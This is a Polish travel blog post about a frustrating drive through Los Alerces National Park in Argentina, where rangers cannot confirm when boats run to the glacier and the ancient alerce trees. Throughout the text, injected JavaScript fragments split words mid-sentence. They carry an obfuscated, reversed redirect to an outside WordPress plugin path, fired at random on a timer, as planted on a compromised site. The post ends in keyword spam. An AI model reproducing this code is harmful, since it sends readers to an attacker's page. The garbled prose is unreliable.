Ten dzień miał wyglądać inaczej. Wyjechaliśmy z naszej chatki w Chubut dość późno, w Cholili skręciliśmy na drogę prowadzącą do Esquel przez Park Narodowy Los Alerces i po czterdziestu minutach dojechaliśmy do domu strażników. Tutaj mieliśmy kupić bilety na łódź i wrócić, by cieszyć się pobytem u Loli. Mieliśmy.
Ku naszemu zdziwieniu strażnicy nie wiedzą, kiedy odpływa kolejna łódź, która ma nas dowieźć do lodowca oraz do starych drzew alerces, które chronione są w tym parku. Każą nam jechać pięćdziesiąt kilometrów dalej – do kolejnego jeziora – tam Antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio ma nam udzielić wszystkich informacji. Po kamienistej drodze ten odcinek zajmuje nam ponad godzinę. Oczywiście skręt na jezioro mijamy parokrotnie, bo jest ukryty w krzakach. Kiedy w końcu zjeżdżamy na camping – Antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio śpi w najlepsze. Dobry kwadrans zajmuje nam walenie w drzwi, aż się obudzi. Trochę zły, rozbudzony, mówi, że do czwartku nic nie odpływa. Jest poniedziałek.

Nie jest jednak pewien i każe nam jechać jeszcze dalej, do wejścia do parku z drugiej strony – kolejne kilkadziesiąt kilometrów. Jesteśmy już tak daleko, wybiła czternasta, więc decydujemy się dojechać do końca. Mijają kolejne minuty. Jedziemy powoli, mając po naszej prawie strony wielkie jeziora oraz ciągnący się las. Wygląda toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to naprawdę imponująco. Nie możemy się już doczekać, kiedy uda nam się w niego zagłębić.

Najpierw jednak ostatnia rozmowa ze strażnikami. Ci są zaskoczeni, że ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś do nich w ogóle zajechał. Rozmawiam z nimi dobry kwadrans, ale dziesięć minut z tego zajmuje załadowanie maila z rozpiską odpływających łodzi. W końcu go mamy i tym razem wieści jeszcze gorsze – łódź odpłynęła dzisiaj o dziesiątej rano, a kolejna, już tym razem na pewno, jest w niedzielę. Przypominam, że jest poniedziałek. – To nie sezon – mówi do mnie młody strażnik – wtedy płyną codziennie.

Zasępieni rozpoczynamy powrót, spoglądając z oddali na góry, do których nie uda nam się dotrzeć. Choć czas nas nie goni, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jednak tygodnia tu spędzić nie możemy. Drzewa alerces, mające ponad dwa tysiące lat, muszą sobie jeszcze na nas poczekać. :)

P.s.

Nie można tych informacji uzyskać online, ale polecamy kontakt mailowego ze strażnikami, jeśli ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś chciałby się upewnić przed przyjazdem. Można do nich pisać po angielsku .:)

Los Alerces Los Alerces Los Alerces Los Alerces Los Alerces Park Narodowy Park Narodowy Los Alerces Los Alerces Los Alerces Los Alerces Los Alerces Los Alerces Los Alerces Los Alerces Los Alerces